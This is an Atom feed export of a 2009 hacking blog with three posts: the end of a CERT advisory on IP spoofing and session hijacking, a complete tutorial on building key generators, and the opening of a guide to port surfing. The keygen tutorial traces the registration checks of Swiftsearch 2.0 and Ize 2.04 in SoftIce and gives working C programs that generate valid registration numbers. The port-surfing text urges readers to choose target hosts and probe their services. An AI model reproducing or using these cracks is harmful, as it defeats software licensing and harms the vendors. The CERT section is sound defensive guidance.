no longer respond to their commands. Encourage your users&lt;br /&gt;           to inform you of any such activity. In addition, pay particular&lt;br /&gt;           attention to connections that have been idle for a long time.&lt;br /&gt;&lt;br /&gt;           Once the attack is completed, it is difficult to detect. However,&lt;br /&gt;           the intruders may leave remnants of their tools. For example, you&lt;br /&gt;           may find a kernel streams module designed to tap into existing TCP&lt;br /&gt;           connections. &lt;br /&gt;&lt;br /&gt;     B. Prevention&lt;br /&gt;&lt;br /&gt;        IP spoofing&lt;br /&gt;           The best method of preventing the IP spoofing problem is to install&lt;br /&gt;           a filtering router that restricts the input to your external&lt;br /&gt;           interface (known as an input filter) by not allowing a packet&lt;br /&gt;           through if it has a source address from your internal network. In&lt;br /&gt;           addition, you should filter outgoing packets that have a source&lt;br /&gt;           address different from your internal network in order to prevent&lt;br /&gt;           a source IP spoofing attack originating from your site.&lt;br /&gt;&lt;br /&gt;           The following vendors have reported support for this feature:&lt;br /&gt;             Bay Networks/Wellfleet routers, version 5 and later&lt;br /&gt;             Cabletron - LAN Secure&lt;br /&gt;             Cisco - RIS software all releases of version 9.21 and later &lt;br /&gt;             Livingston - all versions&lt;br /&gt;&lt;br /&gt;           If you need more information about your router or about firewalls,&lt;br /&gt;           please contact your vendor directly.&lt;br /&gt;&lt;br /&gt;           If your vendor's router does not support filtering on the inbound&lt;br /&gt;           side of the interface or if there will be a delay in incorporating&lt;br /&gt;           the feature into your system, you may filter the spoofed IP packets&lt;br /&gt;           by using a second router between your external interface and your&lt;br /&gt;           outside connection. Configure this router to block, on the outgoing&lt;br /&gt;           interface connected to your original router, all packets that have a&lt;br /&gt;           source address in your internal network. For this purpose, you can&lt;br /&gt;           use a filtering router or a UNIX system with two interfaces that&lt;br /&gt;           supports packet filtering. &lt;br /&gt;        &lt;br /&gt;           NOTE: Disabling source routing at the router does not protect you&lt;br /&gt;                 from this attack, but it is still good security practice to&lt;br /&gt;                 do so. &lt;br /&gt;        &lt;br /&gt;        Hijacking tool&lt;br /&gt;           There is no specific way to prevent use of the tool other than&lt;br /&gt;           preventing intruders from gaining root access in the first place.&lt;br /&gt;           If you have experienced a root compromise, see Section C for general&lt;br /&gt;           instructions on how to recover.&lt;br /&gt;&lt;br /&gt;     C. Recovery from a UNIX root compromise&lt;br /&gt;&lt;br /&gt;        1. Disconnect from the network or operate the system in&lt;br /&gt;           single-user mode during the recovery.  This will keep users&lt;br /&gt;           and intruders from accessing the system.&lt;br /&gt;&lt;br /&gt;        2. Verify system binaries and configuration files against the&lt;br /&gt;           vendor's media (do not rely on timestamp information to&lt;br /&gt;           provide an indication of modification).  Do not trust any&lt;br /&gt;           verification tool such as cmp(1) located on the compromised&lt;br /&gt;           system as it, too, may have been modified by the intruder.&lt;br /&gt;           In addition, do not trust the results of the standard UNIX&lt;br /&gt;           sum(1) program as we have seen intruders modify system&lt;br /&gt;           files in such a way that the checksums remain the same.&lt;br /&gt;           Replace any modified files from the vendor's media, not&lt;br /&gt;           from backups.&lt;br /&gt;                                -- or --&lt;br /&gt;&lt;br /&gt;           Reload your system from the vendor's media.&lt;br /&gt;&lt;br /&gt;        3. Search the system for new or modified setuid root files.&lt;br /&gt;&lt;br /&gt;                find / -user root -perm -4000 -print&lt;br /&gt;&lt;br /&gt;           If you are using NFS or AFS file systems, use ncheck to&lt;br /&gt;           search the local file systems.&lt;br /&gt;&lt;br /&gt;                ncheck -s /dev/sd0a&lt;br /&gt;&lt;br /&gt;        4. Change the password on all accounts.&lt;br /&gt;&lt;br /&gt;        5. Don't trust your backups for reloading any file used by&lt;br /&gt;           root.  You do not want to re-introduce files altered by an&lt;br /&gt;           intruder.&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;The CERT Coordination Center thanks Eric Allman, Steve Bellovin, Keith Bostic,&lt;br /&gt;Bill Cheswick, Mike Karels, and Tsutomu Shimomura for contributing to our&lt;br /&gt;understanding of these problems and their solutions.&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;If you believe that your system has been compromised, contact the CERT&lt;br /&gt;Coordination Center or your representative in Forum of Incident&lt;br /&gt;Response and Security Teams (FIRST).&lt;br /&gt;&lt;br /&gt;If you wish to send sensitive incident or vulnerability information to&lt;br /&gt;CERT staff by electronic mail, we strongly advise that the e-mail be&lt;br /&gt;encrypted.  The CERT Coordination Center can support a shared DES key, PGP&lt;br /&gt;(public key available via anonymous FTP on info.cert.org), or PEM (contact&lt;br /&gt;CERT staff for details).&lt;br /&gt;&lt;br /&gt;Internet E-mail: cert@cert.org&lt;br /&gt;Telephone: +1 412-268-7090 (24-hour hotline)&lt;br /&gt;           CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4),&lt;br /&gt;           and are on call for emergencies during other hours.&lt;br /&gt;Fax: +1 412-268-6989&lt;br /&gt;&lt;br /&gt;CERT Coordination Center&lt;br /&gt;Software Engineering Institute&lt;br /&gt;Carnegie Mellon University&lt;br /&gt;Pittsburgh, PA 15213-3890&lt;br /&gt;USA&lt;br /&gt;&lt;br /&gt;Past advisories, CERT bulletins, information about FIRST representatives, &lt;br /&gt;and other information related to computer security are available for anonymous&lt;br /&gt;FTP from info.cert.org.&lt;br /&gt;&lt;br /&gt;CERT is a service mark of Carnegie Mellon University.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7728576687682840661-1240768781908732444?l=warung-rumpi-ebook.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/1240768781908732444/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/ip-spoofing-attacks-and-hijacked.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/1240768781908732444'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/1240768781908732444'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/ip-spoofing-attacks-and-hijacked.html' title='IP spoofing Attacks and Hijacked Terminal Comunication'/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-174050808127121865</id><published>2009-05-27T13:55:00.002-07:00</published><updated>2009-05-27T13:56:12.656-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>How to make key generator</title><content type='html'>&lt;span class="fullpost"&gt;&lt;br /&gt;raZZia's  Tutorial on Key Generators&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tools!&lt;br /&gt;	For tools you need a minimum of debugger like SoftIce for Windows (hence WinIce), and a C compiler with Dos libraries.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Content!&lt;br /&gt;In this tutorial I will show how to make a key-gen for Ize and Swiftsearch. The protection that these programs use is the well known Enter-Name-and-Registration-Number method. After selecting 'register',  a window pops up where you can enter your name and your registration number.   The strategy here is to find out where in memory the data you enter is stored and then to find out what is done with it. Before you go on make sure you configure the SoftIce dat file according to the PWD tutorial #1. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Part 1: Scanline Swiftsearch 2.0!&lt;br /&gt;&lt;br /&gt; Swiftsearch is a useful little program that you can use to search on the web. I will explain step by step how to crack it.&lt;br /&gt;&lt;br /&gt; step 1. Start the program :) &lt;br /&gt;&lt;br /&gt; step 2: Choose register from the menus. You will now get a window where you can enter your name and your  registration number.&lt;br /&gt;&lt;br /&gt; step 3: Enter SoftIce (ctrl-d)&lt;br /&gt;&lt;br /&gt; step 4: We will now set a breakpoint on functions like GetWindowText(a) and GetDlgItemText(a) to find out where in memory the data that we just entered is stored.  The function that is used by this program is GetDlgItemTexta (trial and error, just try yourself :) so, in SoftIce type BPX GetDlgItemTexta  and exit SoftIce with the g command.&lt;br /&gt;&lt;br /&gt;step 5: Now type a name and a registration number  (I used razzia and 12345) and press OK, this will put you  back in  SoftIce. Since you are now inside the GetDlgItemTexta function press F11 to get out of it.  You should see the following code:&lt;br /&gt;&lt;br /&gt;            lea eax, [ebp-2C]          :&lt;--- we are looking for this location&lt;br /&gt;     push eax                   &lt;br /&gt;     push 00000404&lt;br /&gt;     push [ebp+08]&lt;br /&gt;     call [USER32!GetDlgItemTextA]&lt;br /&gt;     mov edi, eax               :&lt;--- eax has the length of the string                  &lt;br /&gt;                                 and is stored in edi for later usage.&lt;br /&gt;&lt;br /&gt;	We see that EAX is loaded with a memory address and then pushed to the stack as a parameter for the function GetDlgItemTextA. Since the function GetDlgItemTextA is already been run we can look at EBP-2c (with ED EDP-2c) and see that the name we entered is there. Now we know where the name is stored in memory, normally it would be wise to write that address down, but we will see that in this case it wont be necessary. &lt;br /&gt;     	&lt;br /&gt;So, what next? Now we have to allow the program to read the registration number we entered. Just type g and return and when  back in SoftIce press F11. You should see the following code:&lt;br /&gt;&lt;br /&gt;     push 0000000B&lt;br /&gt;     lea ecx, [ebp-18]         : &lt;--So, ebp-18 is where the reg. number                                 &lt;br /&gt;     push ecx                  :    is stored. &lt;br /&gt;     push 0000042A&lt;br /&gt;     push [ebp+08]&lt;br /&gt;     call [USER32!GetDlgItemTextA]&lt;br /&gt;     mov ebx, eax              : &lt;--save the lenght of string in EBX&lt;br /&gt;     test edi, edi             : &lt;--remember EDI had the lenght of the                                &lt;br /&gt;     jne 00402FBF              :    name we entered?&lt;br /&gt;             &lt;br /&gt;             We see that the registration number is stored at location EBP-18 , check it with ED EBP-18.  Again, normally it would be wise to note that address down.  Also we see that it is checked if the length of the name we gave was not zero. If it is not zero the  program will continue.&lt;br /&gt;&lt;br /&gt;Step 6: Ok, now we know where the data we entered is stored in memory. What next?&lt;br /&gt;             Now we have to find out what is DONE with it. Usually it would we wise to put breakpoints on those memory locations and find out where in the program they are read. But in this case the answer is just a few F10's away. Press F10 until you see the following code :&lt;br /&gt;&lt;br /&gt;           cmp ebx, 0000000A       :&lt;--remember EPX had the length of the &lt;br /&gt;     je 00402FDE             :   registration code we entered? &lt;br /&gt;    &lt;br /&gt;             These two lines are important. They check if the length of the registration code we entered is equal  to 10. If not the registration number will be considered wrong already. The program wont even bother  to check it. Modify EBX or the FLAG register in the register window to allow the jump. Continue Pressing F10 until you get to the following code (note that the adresses you will see could be different) :&lt;br /&gt;&lt;br /&gt;:00402FDE xor esi, esi        :&lt;-- Clear ESI&lt;br /&gt;:00402FE0 xor eax, eax        :&lt;-- Clear EAX&lt;br /&gt;:00402FE2 test edi, edi&lt;br /&gt;:00402FE4 jle 00402FF2&lt;br /&gt;:00402FE6 movsx byte ptr ecx, [ebp + eax - 2C] :&lt;-- ECX is loaded with a letter of the  name we entered. &lt;br /&gt;:00402FEB add esi, ecx        :&lt;-- Add the letter to ESI                   &lt;br /&gt;:00402FED inc eax             :&lt;-- Increment EAX to get next letter&lt;br /&gt;:00402FEE cmp eax, edi        :&lt;-- Did we reach the end of the string?&lt;br /&gt;:00402FF0 jl 00402FE6         :&lt;-- If not, go get the next letter.&lt;br /&gt;&lt;br /&gt;            Well, we see that the program adds together all the letters of the name we entered.  Knowing that ESI contains the sum of the letters, lets continue and find out what the program does with that value : &lt;br /&gt;&lt;br /&gt;:00402FF2 push 0000000A&lt;br /&gt;:00402FF4 lea eax, [ebp-18]   :&lt;-- Load EAX with the address of the reg. number we entered    &lt;br /&gt;:00402FF7 push 00000000&lt;br /&gt;:00402FF9 push eax            :&lt;-- Push EAX (as a parameter for the following function)&lt;br /&gt;:00402FFA call 00403870       :&lt;-- Well, what do you think this function does? :) &lt;br /&gt;:00402FFF add esp, 0000000C    &lt;br /&gt;:00403002 cmp eax, esi        :&lt;-- Hey!  &lt;br /&gt;:00403004 je 00403020&lt;br /&gt;&lt;br /&gt;             We see that a function is called and when RETurned ESI is compared with EAX. Hmm, lets look at what's in EAX.  A '? EAX' reveals :&lt;br /&gt;           &lt;br /&gt;             00003039       0000012345   "09"&lt;br /&gt;&lt;br /&gt;             Bingo. That's what we entered as the registration number. It should have been what's inside ESI.  And we know what's inside ESI, the sum of the letters of the name we entered! &lt;br /&gt;         &lt;br /&gt;Step 7:  Now we know how the program computes the registration code we can make a key-gen. &lt;br /&gt;              But we should not forget that the program checks also that the registration number has 10&lt;br /&gt;              digits. &lt;br /&gt;              A simple C code that will compute the registration number for this program could look like this: &lt;br /&gt;&lt;br /&gt;&lt;br /&gt; #include	&lt;stdio.h&gt;&lt;br /&gt;#include	&lt;string.h&gt;&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;	char Name[100];&lt;br /&gt;	int NameLength,Offset;&lt;br /&gt;	long int Reg = 0, Dummy2 = 10;&lt;br /&gt;	int Dummy = 0;&lt;br /&gt;	int LengtDummy = 1;&lt;br /&gt;	int Lengt , Teller;&lt;br /&gt;	printf("Scanline SwiftSearch 2.0 crack by raZZia.\n");&lt;br /&gt;	printf("Enter your name: ");&lt;br /&gt;      gets(Name);&lt;br /&gt;      NameLength=strlen(Name);&lt;br /&gt;&lt;br /&gt;/* the for lus calculates the sum of the letters in Name */&lt;br /&gt;/* and places that value in Reg                          */&lt;br /&gt;      for (Offset=0;Offset&lt;NameLength;Offset=Offset+1)&lt;br /&gt;        { &lt;br /&gt;        	Reg=Reg+Name[Offset];&lt;br /&gt;        }         	                   &lt;br /&gt;/* the while lus calculates the lenght of the figure in */&lt;br /&gt;/* Reg and places it in Lengt                           */&lt;br /&gt;      while (Dummy != 1) &lt;br /&gt;        {&lt;br /&gt;             if ( Reg &lt; Dummy2 ) &lt;br /&gt;	          { Lengt = LengtDummy ; Dummy =1;&lt;br /&gt;	          }&lt;br /&gt;	       else &lt;br /&gt;	          { LengtDummy=LengtDummy + 1; Dummy2=Dummy2*10;&lt;br /&gt;	          }&lt;br /&gt;        };               &lt;br /&gt;     printf("\nYour registration number is : " );&lt;br /&gt;/* First print 10-Lengt times a 0                        */&lt;br /&gt;     Lengt=10-Lengt;&lt;br /&gt;     for (Teller=1;Teller&lt;=Lengt;Teller=Teller+1) printf("0");&lt;br /&gt;/* Then print the registration number                    */&lt;br /&gt;     printf("%lu\n",Reg);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                           Case 2 Ize 2.04 from Gadgetware&lt;br /&gt;	&lt;br /&gt;	Ize from Gadgetware is a cute little program that will put a pair of eyes on your screen which will &lt;br /&gt;	follow your mousepointer. It has a register function where you can enter your name and a registration &lt;br /&gt;	number. The strategy in this case is still the same : Find out where in memory the entered information&lt;br /&gt;	is stored and then find out what is done with that information.&lt;br /&gt;&lt;br /&gt;Step 1:   Start Ize. Chose register and enter a name and a number. I used 'razzia' and '12345'.&lt;br /&gt;&lt;br /&gt;Sterp 2: Enter (CTRL-D) Softice and set a breakpoint on GetDlgItemTextA.&lt;br /&gt;&lt;br /&gt;Step 3:  Leave SoftIce and press OK. This will put you back in Softice. You will be inside the GetDlgItemTextA &lt;br /&gt;              function. To get out of it press F11. You should see the following code : &lt;br /&gt;&lt;br /&gt;      mov esi, [esp + 0C] &lt;br /&gt;      push 00000064&lt;br /&gt;      push 0040C3A0      :&lt;--On this memory location the NAME we entered will be stored.&lt;br /&gt;      mov edi, [USER32!GetDlgItemTextA]  :&lt;--Load edi with adress of GetDlgItemTextA&lt;br /&gt;	push 00004EE9      &lt;br /&gt;	push esi&lt;br /&gt;	call edi           :&lt;-- Call GetDlgItemTextA  &lt;br /&gt;	push 00000064            :&lt;-- (you should be here now)&lt;br /&gt;	push 0040C210      :&lt;--On this memory location the NUMBER we entered will be stored&lt;br /&gt;	push 00004EEA&lt;br /&gt;	push esi&lt;br /&gt;	call edi           :&lt;-- Call GetDlgItemTextA&lt;br /&gt;&lt;br /&gt;	We see that the function GetDlgItemTextA is called twice in this code fragment. The first call has &lt;br /&gt;	already happened. With ED 40C3A0 we can check that the name we entered is stored on that location. &lt;br /&gt;	To allow the program to read in the number we entered we type G and enter. Now we are inside the Get-&lt;br /&gt;	DlgItemTextA function again and we press f11 to get out of it. We check memory location 40C210 and &lt;br /&gt;                we see the number we entered is stored there.&lt;br /&gt;      Now we know the locations were the name and the number are stored,we note those down!&lt;br /&gt;&lt;br /&gt;Step 4:   Ok, what next? We now know where in memory the name and the number are stored. We need to find out&lt;br /&gt;	what the program does with those values. In order to do that we could set breakpoints on those memory &lt;br /&gt;  	locations to see where they are read. But in this case it wont be necessary. The answer is right after the &lt;br /&gt;	above code : &lt;br /&gt;&lt;br /&gt;	push 0040C210  :&lt;--save the location of the number we entered (as a parameter for the next call)&lt;br /&gt;	call 00404490  :&lt;-- call this unknown function   &lt;br /&gt;	add esp, 00000004&lt;br /&gt;	mov edi, eax  :&lt;-- save EAX  (hmmmm)&lt;br /&gt;&lt;br /&gt;	We see a function being called with the number-location as a parameter. We could trace into the                                 	function and see what it does, but that is not needed. With your experience of the Swiftsearch &lt;br /&gt;	example you should be able to guess what this function does.  It calculates the numerical value of the                 	registration number and puts it in EAX. To be sure we step further using F10 untill we are past the call  	and check the contents of EAX (with ? EAX). In my case it showed : 00003039       0000012345   "09".&lt;br /&gt;&lt;br /&gt;      Knowing that EDI contains our registration number we proceed:&lt;br /&gt;      &lt;br /&gt;      push 0040C3A0 :&lt;-- save the location of the name we entered (as a parameter for the next call)     &lt;br /&gt;      push 00409080 :&lt;-- save an unknown memory-location (as a parameter for the next call) &lt;br /&gt;      call 004043B0 :&lt;--call to an unknown function&lt;br /&gt;	add esp, 00000008&lt;br /&gt;	cmp edi, eax  :&lt;--compare EDI (reg # we entered) with EAX (unknown, since the previous call                                                      			            changed it) &lt;br /&gt;	jne 004018A1  :&lt;--jump if not equal&lt;br /&gt;	&lt;br /&gt;	We see that a function is called with two parameters. One of the parameters is the location of the name &lt;br /&gt;	we entered. The other we dont know, but we can find out with ED 409080. We see the text 'Ize'. &lt;br /&gt;	This function calculates the right registration number using those two parameters. If you just want to &lt;br /&gt;	crack this program, you can place a breakpoint right after the call and check the contents of EAX. It will&lt;br /&gt;	contain the right registration number.  But since we want to know HOW the reg. # is calculated we will       	trace inside the function (using T). We will then try to find out HOW the contents of EAX got in there.&lt;br /&gt;&lt;br /&gt;Step 5:    Once inside the interesting function  you will see that we are dealing with a rather long function. It wont            	be necessary for me to include the complete listing of this function, because we wont need all of it to 	make our key-gen. &lt;br /&gt;                But in order find out which part of the code is essential for the computation of the right registration 	number, you  have to trace STEP by STEP and figure out what EXACTLY is going on! &lt;br /&gt;&lt;br /&gt;	Afther doing this i found out that the first part of the function computes  some kind of "key". Then this&lt;br /&gt;	"key" is stored in memory and in that way passed on to the second part of the function.   &lt;br /&gt;                The second part of the function then computes the right registration number, based on this "key" AND&lt;br /&gt;	 the name we entered. &lt;br /&gt;                &lt;br /&gt;	The code that is essential and that we need for our key-gen is the following:&lt;br /&gt;                &lt;br /&gt;               ( Note that before the following code starts, the registers that are used will have the following values:&lt;br /&gt;                 EBX will point to the first letter of the name we entered,&lt;br /&gt;                 EDX will be zero,&lt;br /&gt;                 EBP will be zero,&lt;br /&gt; 	 The "key" that we talked about earlier is stored in memory location 0040B828 and will  &lt;br /&gt;   	 have 0xA4CC as its initial value. )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;:00404425 movsx byte ptr edi, [ebx + edx]   :&lt;-- Put first letter of the name in EDI &lt;br /&gt;:00404429 lea esi, [edx+01]    :&lt;-- ESI gets the "letter-number"&lt;br /&gt;:0040442C call 00404470	       :&lt;-- Call  function &lt;br /&gt;:00404431 imul edi, eax	       :&lt;-- EDI=EDI*EAX (eax is the return value of the the previous call)&lt;br /&gt;:00404434 call 00404470	       :&lt;-- Call function&lt;br /&gt;:00404439 mov edx, esi		    &lt;br /&gt;:0040443B mov ecx, FFFFFFFF&lt;br /&gt;:00404440 imul edi, eax	    :&lt;-- EDI=EDI*EAX (eax is the return value of the previous call)&lt;br /&gt;:00404443 imul edi, esi	    :&lt;-- EDI=EDI*ESI ( esi is the number of the letter position)&lt;br /&gt;:00404446 add ebp, edi	    :&lt;-- EBP=EBP+EDI  (beware that EBP will finally contain the right reg#)&lt;br /&gt;:00404448 mov edi, ebx  :&lt;--these lines compute the lenght of the name we entered     &lt;br /&gt;:0040444A sub eax, eax	:&lt;--these lines compute the lenght of the name we entered&lt;br /&gt;:0040444C repnz		:&lt;--these lines compute the lenght of the name we entered&lt;br /&gt;:0040444D scasb		:&lt;--these lines compute the lenght of the name we entered&lt;br /&gt;:0040444E not ecx		:&lt;--these lines compute the lenght of the name we entered&lt;br /&gt;:00404450 dec ecx		:&lt;-- ECX now contains the lenght of the name &lt;br /&gt;:00404451 cmp ecx, esi		&lt;br /&gt;:00404453 ja 00404425  	:&lt;-- If its not the end of the name , go do the same with the next letter	&lt;br /&gt;:00404455 mov eax, ebp 	:&lt;--  SAVE EBP TO EAX !!!!  &lt;br /&gt;:00404457 pop ebp&lt;br /&gt;:00404458 pop edi&lt;br /&gt;:00404459 pop esi&lt;br /&gt;:0040445A pop ebx&lt;br /&gt;:0040445B ret           &lt;br /&gt;            _____&lt;br /&gt; &lt;br /&gt;:00404470 mov eax, [0040B828]		:&lt;-- Put "key" in EAX        &lt;br /&gt;:00404475 mul eax, eax, 015A4E35	:&lt;-- EAX=EAX * 15A4E35 &lt;br /&gt;:0040447B inc eax				:&lt;-- EAX=EAX + 1&lt;br /&gt;:0040447C mov [0040B828], eax		:&lt;-- Replace the "key" with the new value of EAX&lt;br /&gt;:00404481 and eax, 7FFF0000		:&lt;-- EAX=EAX &amp;&amp; 7FFF0000&lt;br /&gt;:00404486 shr eax, 10			:&lt;-- EAX=EAX &gt;&gt;10&lt;br /&gt;:00404489 ret&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;	The above code consists of a loop that goes trough all the letters of the name we entered. With each &lt;br /&gt;	letter some value is calculated, all these values are added up together (in EBP). Then this value is stored &lt;br /&gt;	in EAX and the function RETurns. And that was what we were looking for, we wanted to know how EAX                                  	got its value! &lt;br /&gt;&lt;br /&gt;Step 6:   Now to make a key-gen we have to translate the above method of calculating the right reg# into a &lt;br /&gt;	c program. It could be done in the following way : &lt;br /&gt;                (Note : I am a bad c programmer :) &lt;br /&gt;&lt;br /&gt;#include	&lt;stdio.h&gt;&lt;br /&gt;#include	&lt;string.h&gt;&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;	char Name[100];&lt;br /&gt;	int NameLength,Offset;&lt;br /&gt;	unsigned long Letter,DummyA;&lt;br /&gt;	unsigned long Key = 0xa4cc;&lt;br /&gt;	unsigned long Number = 0;&lt;br /&gt;        printf("Ize 2.04 crack by razzia\n");&lt;br /&gt;	printf("Enter your name: ");&lt;br /&gt;        gets(Name);&lt;br /&gt;        NameLength=strlen(Name);&lt;br /&gt;        for (Offset=0;Offset&lt;NameLength;Offset=Offset+1)&lt;br /&gt;        { &lt;br /&gt;	         Letter=Name[Offset];&lt;br /&gt;	           DummyA=Key;&lt;br /&gt;	           DummyA=DummyA*0x15a4e35;&lt;br /&gt;                   DummyA=DummyA+1;&lt;br /&gt;                   Key=DummyA;&lt;br /&gt;                   DummyA=DummyA &amp; 0x7fff0000;&lt;br /&gt;                   DummyA=DummyA &gt;&gt; 0x10;&lt;br /&gt;                 Letter=Letter*DummyA; &lt;br /&gt;	           DummyA=Key;&lt;br /&gt;	           DummyA=DummyA*0x15a4e35;&lt;br /&gt;                   DummyA=DummyA+1;&lt;br /&gt;                   Key=DummyA;&lt;br /&gt;                   DummyA=DummyA &amp; 0x7fff0000;&lt;br /&gt;                   DummyA=DummyA &gt;&gt; 0x10;                 &lt;br /&gt;                 Letter=Letter*DummyA; &lt;br /&gt;                 Letter=Letter*(Offset+1);&lt;br /&gt;                 Number=Number+Letter;&lt;br /&gt;        }         	                   &lt;br /&gt;        printf("\nYour registration number is : %lu\n",Number);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                                           Final Notes&lt;br /&gt;&lt;br /&gt;	For feedback and suggestions pls contact me :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;                                                                                                                                   raZZia&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7728576687682840661-174050808127121865?l=warung-rumpi-ebook.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/174050808127121865/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/how-to-make-key-generator.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/174050808127121865'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/174050808127121865'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/how-to-make-key-generator.html' title='How to make key generator'/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-3236892321743715271</id><published>2009-05-27T13:55:00.001-07:00</published><updated>2009-05-27T13:55:33.337-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>hacking harmless chapter 4</title><content type='html'>&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;GUIDE TO (mostly) HARMLESS HACKING &lt;br /&gt;Vol. 2 Number 4 &lt;br /&gt;More intro to TCP/IP: port surfing! Daemons! How to get on almost any computer without logging in and without breaking the law. Impress your clueless friends and actually discover kewl, legal, safe stuph. &lt;br /&gt;____________________________________________________________ &lt;br /&gt;A few days ago I had a lady friend visiting. She’s 42 and doesn’t own a computer. However, she is taking a class on personal computers at a community college. She wanted to know what all this hacking stuph is about. So I decided to introduce her to port surfing. And while doing it, we stumbled across something kewl. &lt;br /&gt;Port surfing takes advantage of the structure of TCP/IP. This is the protocol (set of rules) used for computers to talk to each other over the Internet. One of the basic principles of Unix (the most popular operating system on the Internet) is to assign a “port” to every function that one computer might command another to perform. Common examples are to send and receive email, read Usenet newsgroups, telnet, transfer files, and offer Web pages. &lt;br /&gt;************************ &lt;br /&gt;Newbie note #1: A computer port is a place where information goes in or out of it. On your home computer, examples of ports are your monitor, which sends information out, your keyboard and mouse, which send information in, and your modem, which sends information both out and in. &lt;br /&gt;But an Internet host computer such as callisto.unm.edu has many more ports than a typical home computer. These ports are identified by numbers. Now these are not all physical ports, like a keyboard or RS232 serial port (for your modem). They are virtual (software) ports. &lt;br /&gt;A “service” is a program running on a “port.” When you telnet to a port, that program is up and running, just waiting for your input. Happy hacking! &lt;br /&gt;************************ &lt;br /&gt;So if you want to read a Web page, your browser contacts port number 80 and tells the computer that manages that Web site to let you in. And, sure enough, you get into that Web server computer without a password. &lt;br /&gt;OK, big deal. That’s pretty standard for the Internet. Many -- most -- computers on the Internet will let you do some things with them without needing a password, &lt;br /&gt;However, the essence of hacking is doing things that aren’t obvious. That don’t just jump out at you from the manuals. One way you can move a step up from the run of the mill computer user is to learn how to port surf. &lt;br /&gt;The essence of port surfing is to pick out a target computer and explore it to see what ports are open and what you can do with them. &lt;br /&gt;Now if you are a lazy hacker you can use canned hacker tools such as Satan or Netcat. These are programs you can run from Linux, FreeBSD or Solaris (all types of Unix) from your PC. They automatically scan your target computers. They will tell you what ports are in use. They will also probe these ports for presence of daemons with know security flaws, and tell you what they are. &lt;br /&gt;******************************** &lt;br /&gt;Newbie note # 2: A daemon is not some sort of grinch or gremlin or 666 guy. It is a program that runs in the background on many (but not all) Unix system ports. It waits for you to come along and use it. If you find a daemon on a port, it’s probably hackable. Some hacker tools will tell you what the hackable features are of the daemons they detect. &lt;br /&gt;******************************** &lt;br /&gt;However, there are several reasons to surf ports by hand instead of automatically. &lt;br /&gt;1) You will learn something. Probing manually you get a gut feel for how the daemon running on that port behaves. It’s the difference between watching an x-rated movie and (blush). &lt;br /&gt;2) You can impress your friends. If you run a canned hacker tool like Satan your friends will look at you and say, “Big deal. I can run programs, too.” They will immediately catch on to the dirty little secret of the hacker world. Most hacking exploits are just lamerz running programs they picked up from some BBS or ftp site. But if you enter commands keystroke by keystroke they will see you using your brain. And you can help them play with daemons, too, and give them a giant rush. &lt;br /&gt;3) The truly elite hackers surf ports and play with daemons by hand because it is the only way to discover something new. There are only a few hundred hackers -- at most -- who discover new stuph. The rest just run canned exploits over and over and over again. Boring. But I am teaching you how to reach the pinnacle of hackerdom. &lt;br /&gt;Now let me tell you what my middle aged friend and I discovered just messing around. First, we decided we didn’t want to waste our time messing with some minor little host computer. Hey, let’s go for the big time! &lt;br /&gt;So how do you find a big kahuna computer on the Internet? We started with a domain which consisted of a LAN of PCs running Linux that I happened to already know about, that is used by the New Mexico Internet Access ISP: nmia.com. &lt;br /&gt;***************************** &lt;br 